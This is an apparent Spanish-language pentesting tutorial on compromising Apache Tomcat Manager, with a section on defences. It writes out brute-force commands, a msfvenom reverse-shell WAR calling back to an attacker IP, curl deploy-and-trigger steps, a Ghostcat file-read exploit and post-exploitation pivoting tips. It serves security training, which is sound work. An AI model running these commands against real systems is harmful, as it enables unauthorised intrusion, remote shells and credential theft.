Tomcat Manager: cómo se audita el panel más olvidado del Java EE

Apache Tomcat es, junto con Nginx y Apache, uno de los servidores web más usados del mundo cuando hay aplicaciones Java detrás: bancos, intranets corporativas, portales de universidades, sistemas ERP antiguos. Y, como pasa con todas las piezas de infraestructura con muchos años, suele venir con el Tomcat Manager habilitado y, demasiadas veces, con credenciales por defecto o débiles.

El panel Manager permite subir aplicaciones web (archivos .war) y desplegarlas en caliente. Un atacante con acceso al Manager puede subir una web shell empaquetada en un .war, hacerla accesible como una aplicación legítima más y ejecutar código arbitrario en el servidor en cuestión de segundos. Es uno de los RCE más limpios y rápidos del catálogo clásico de la auditoría web.

En esta lección vas a ver qué es Tomcat, cómo se detecta, cómo se enumera el Manager, los pares de credenciales que todavía se encuentran en producción, el flujo completo para desplegar un .war malicioso y las defensas que evitan que todo esto siga ocurriendo. Todo probado en los laboratorios tomcat y tom-jerry de whoami-labs.

Practica solo contra sistemas autorizados. Desplegar aplicaciones en un Tomcat ajeno sin permiso es delito; los labs reproducen todo el escenario sin riesgo legal.

Qué es Tomcat y dónde está el Manager#

Apache Tomcat implementa las especificaciones de Java Servlet, JSP y WebSocket. Corre típicamente en el puerto 8080 (HTTP) o 8443 (HTTPS) con un servlet AJP en el 8009. La estructura interna que importa para la auditoría:

• /manager/html: panel web de gestión de aplicaciones.
• /manager/text: interfaz programática (usada por curl, tomcat-maven-plugin, Metasploit).
• /host-manager/html: panel para gestionar virtual hosts.
• /examples/: aplicaciones de ejemplo que a veces siguen desplegadas con vulnerabilidades conocidas.
• conf/tomcat-users.xml: archivo con los usuarios y sus roles. Es donde están las credenciales que vas a necesitar.

Los roles relevantes:

Para desplegar un .war por línea de comandos (lo que vas a usar casi siempre) necesitas manager-script.

Detección#

# Puerto típico
nmap -sV -p 8080,8443,8009,80 objetivo.com

# Banner
curl -sI http://objetivo.com:8080/
# Server: Apache-Coyote/1.1  → señal clásica de Tomcat

Si está arriba, accede a http://objetivo.com:8080/: suele mostrar la página inicial de Tomcat con enlaces a Manager y Host Manager. Si esos enlaces responden con 401, el Manager existe pero está autenticado. Si responden 404, puede estar deshabilitado (buena señal defensiva) o reubicado (prueba /manager/text/list).

Fuerza bruta del Manager#

El Manager usa autenticación HTTP Basic. Lo normal es probar primero credenciales por defecto conocidas y, si no caen, lanzar fuerza bruta con una wordlist pequeña.

Credenciales por defecto habituales#

Estos pares siguen funcionando en instalaciones viejas, en laboratorios y en equipos internos sin monitorización. El set clásico está en /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt en Kali.

Fuerza bruta con Hydra#

hydra -L users.txt -P passwords.txt \
  objetivo.com -s 8080 http-get /manager/html \
  -t 4

-t 4 baja los hilos para no tumbar el servidor. Un Manager débil cae en segundos.

Fuerza bruta con Metasploit#

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS objetivo.com
set RPORT 8080
set TARGETURI /manager/html
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
run

El módulo cruza listas de usuarios y contraseñas y reporta los pares válidos.

De credenciales a RCE: desplegar un .war#

Con credenciales válidas para manager-script, el camino a shell es directo.

Paso 1: generar la web shell .war#

Con msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f war -o shell.war

El archivo shell.war contiene un WEB-INF/web.xml más un JSP que, al accederlo, ejecuta una reverse shell contra tu handler.

Paso 2: levantar el handler#

msfconsole -q
use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run -j

Paso 3: desplegar el .war por /manager/text#

curl --user tomcat:s3cret \
  --upload-file shell.war \
  "http://objetivo.com:8080/manager/text/deploy?path=/shell"

Respuesta típica: OK - Deployed application at context path [/shell].

Paso 4: disparar la shell#

curl http://objetivo.com:8080/shell/

El handler recibe la sesión. A partir de ahí, ya sabes: enumerar usuario, buscar tomcat-users.xml para encontrar más credenciales en texto plano, pivotar.

El módulo todo-en-uno de Metasploit#

Para el flujo entero en un solo paso:

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS objetivo.com
set RPORT 8080
set HttpUsername tomcat
set HttpPassword s3cret
set LHOST 10.10.14.5
set LPORT 4444
set PAYLOAD java/jsp_shell_reverse_tcp
run

El módulo genera el .war, lo despliega, lo dispara y abre la sesión. Útil para labs; en auditorías puede dejar aplicaciones huérfanas si falla el undeploy (siempre limpia con curl ... /manager/text/undeploy?path=/shell).

Otros vectores en Tomcat#

El Manager no es el único camino.

Ghostcat (CVE-2020-1938)#

Fallo en el conector AJP (puerto 8009) que permite leer cualquier archivo de la aplicación web, incluyendo WEB-INF/web.xml o configuración con credenciales. El exploit público es inmediato:

python3 ajpShooter.py http://objetivo.com:8080 8009 /WEB-INF/web.xml read

Afectó a cualquier Tomcat 6/7/8/9 antes de los parches de febrero 2020 con AJP habilitado. El parche cierra el acceso por defecto a AJP salvo desde localhost.

Aplicaciones de ejemplo#

Las apps bajo /examples/ llevan años siendo criticadas:

• /examples/servlets/servlet/CookieExample
• /examples/jsp/snp/snoop.jsp

Filtran información sobre el entorno y a veces son vulnerables a XSS reflected. En producción no deberían estar nunca.

Deserialización#

Tomcat ha sufrido varios CVE de deserialización Java a lo largo de los años. Si el servidor acepta objetos Java serializados (session cookies, endpoints custom), herramientas como ysoserial generan payloads que ejecutan código en la JVM.

Defender un Tomcat#

• Eliminar las credenciales por defecto: editar tomcat-users.xml, usar contraseñas largas y únicas.
• Deshabilitar el Manager si no se usa, o restringirlo por IP en el context.xml con RemoteAddrValve.
• Cerrar el conector AJP o restringirlo a localhost (address="127.0.0.1" o allowedRequestAttributesPattern).
• Borrar examples/, docs/, host-manager/ en producción.
• Correr Tomcat con un usuario no privilegiado (ni root ni Administrator).
• Aislar JVM con un systemd-sandbox o contenedor.
• Actualizar: cada año hay CVE importante en Tomcat, nunca te quedes atrás.

Anatomía de un WAR#

Entender la estructura de un .war ayuda a saber qué estás subiendo y a modificarlo cuando hace falta. Un WAR es un ZIP con esta disposición:

shell.war
├── WEB-INF/
│   ├── web.xml         # Mapea URLs a servlets
│   ├── classes/        # Clases Java compiladas
│   └── lib/            # Librerías .jar
├── META-INF/
└── shell.jsp           # Tu JSP con la reverse shell

El web.xml mínimo que necesita un JSP para arrancar:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="3.1">
  <display-name>shell</display-name>
</web-app>

Con solo esto y un shell.jsp en la raíz del WAR, al desplegar en /shell queda accesible como http://objetivo/shell/shell.jsp. Si quieres una ruta más discreta puedes mapear el JSP con un servlet-mapping arbitrario en el web.xml, lo que ayuda cuando el objetivo tiene scanners buscando /shell/.

Encadenamiento: del Manager al dominio#

En ejercicios realistas, llegar a shell en el Tomcat suele ser el primer eslabón. Qué buscar inmediatamente después:

• tomcat-users.xml: contraseñas en claro para otros usuarios. A veces revela credenciales que se reutilizan en otros servicios.
• Archivos de la aplicación: la aplicación Java suele guardar connection strings de BD, claves de APIs internas y tokens en WEB-INF/classes/application.properties o web.xml.
• Logs de Tomcat: logs/catalina.out registra stack traces con información sensible y, a veces, cadenas de autenticación mal filtradas.
• Usuarios del sistema: el usuario tomcat o www-data puede tener acceso a otros archivos legibles; sudo -l descubre permisos que llevan a root.
• Red interna: si el Tomcat está en una DMZ, usa el pivot para escanear la red interna detrás.

Para un pentest tipo CTF o laboratorio como tom-jerry, el patrón habitual es: Manager → RCE como tomcat → leer tomcat-users.xml o alguna config → encontrar credenciales que sirvan para SSH o para una siguiente capa.

Variantes de despliegue#

A veces el path /manager/text/deploy?path=... está deshabilitado y solo funciona /manager/html. En esos casos, el despliegue manual por navegador funciona igual: inicias sesión en /manager/html, en la sección WAR file to deploy eliges el .war, pulsas Deploy, y aparece listado entre las aplicaciones activas con un botón para iniciarla. No hay diferencia en el resultado; solo cambia el canal.

Para automatizar sin Metasploit:

# Subir
curl --user tomcat:s3cret --upload-file shell.war \
  "http://objetivo:8080/manager/text/deploy?path=/shell"

# Verificar que está desplegada
curl --user tomcat:s3cret \
  "http://objetivo:8080/manager/text/list"

# Desplegada, listar las sesiones
curl --user tomcat:s3cret \
  "http://objetivo:8080/manager/text/sessions?path=/shell"

# Al terminar, undeploy (limpieza)
curl --user tomcat:s3cret \
  "http://objetivo:8080/manager/text/undeploy?path=/shell"

La limpieza al terminar es una cortesía básica en auditorías legítimas; una aplicación huérfana en el servidor del cliente queda feo en el informe y puede dar lugar a problemas si otro operador la encuentra expuesta después.

Errores comunes del defensor#

• Dejar la configuración por defecto de la instalación.
• Pensar que si el Manager está detrás de un reverse proxy «nadie llegará»: a veces el proxy expone /manager por error.
• No separar roles (manager-gui sirve también para manager-script).
• Ignorar AJP porque «no lo usamos»: suele estar escuchando igual.
• Dejar /host-manager/ con las mismas credenciales.

Preguntas frecuentes#

¿Cómo sé qué versión exacta de Tomcat tengo delante?#

Una página 404 personalizada o la página inicial suelen mostrarlo (Apache Tomcat/9.0.37). Si no, el header Server lo filtra, y accesos como /docs/ lo muestran también. Nmap NSE http-tomcat-info lo confirma.

¿Un .war malicioso puede ser detectado antes de ejecutarse?#

Antivirus y WAF en el servidor pueden inspeccionar el contenido. Un JSP con Runtime.getRuntime().exec es trivial de detectar. Loaders más sofisticados (JSP ofuscado, carga reflectiva de clases) pasan WAFs genéricos, no EDRs serios.

¿Qué pasa si solo tengo manager-gui y no manager-script?#

Puedes subir el .war desde el navegador: WAR file to deploy → seleccionar → Deploy. Mismo resultado, un clic manual.

¿Ghostcat afecta a Tomcat 10?#

No en su forma original (la configuración por defecto cambió). Pero sigue habiendo variantes y es imprescindible validar la configuración AJP cada vez.

¿Dónde practico?#

En los laboratorios tomcat y tom-jerry de whoami-labs, que reproducen Tomcat con Manager expuesto, credenciales débiles, Ghostcat y escenarios de encadenamiento.

¿Es común encontrar Tomcat accesible en Internet?#

Menos que hace diez años, pero sigue ocurriendo. Shodan devuelve miles de resultados con product:"Apache Tomcat" y, de esos, una parte todavía responde con el Manager accesible o con páginas default. En entornos internos corporativos la cifra es aún mayor: muchas intranets corren aplicaciones Java antiguas en Tomcat con credenciales originales de la instalación inicial, intactas durante años.

¿Cómo me doy cuenta rápido si el Manager está detrás de un reverse proxy?#

Por el banner y por los códigos. Un Nginx delante suele mostrar su propio Server: y a veces oculta rutas con 404. Probar directamente curl -v http://objetivo:8080/manager/html (puerto directo, no 80/443) a veces revela que el Tomcat está expuesto en un puerto alto no cubierto por el proxy. Igualmente, un Host header con 127.0.0.1 o localhost puede saltar listas de allow por IP mal implementadas.

Resumen#

• Tomcat Manager con credenciales por defecto o débiles es RCE directo por despliegue de .war.
• Detección simple: nmap al 8080/8443, banner Apache-Coyote.
• Fuerza bruta con Hydra o el módulo tomcat_mgr_login de Metasploit.
• RCE automático con exploit/multi/http/tomcat_mgr_upload o manual con msfvenom -f war + curl.
• Otros vectores: Ghostcat (AJP), examples/, deserialización Java.
• Defensa: credenciales únicas, Manager restringido por IP, AJP cerrado o localhost, examples/ borrado, actualizaciones.

Fuentes y lecturas recomendadas#

• Apache Tomcat Security Considerations
• HackTricks: Tomcat
• CVE-2020-1938 (Ghostcat)
• ysoserial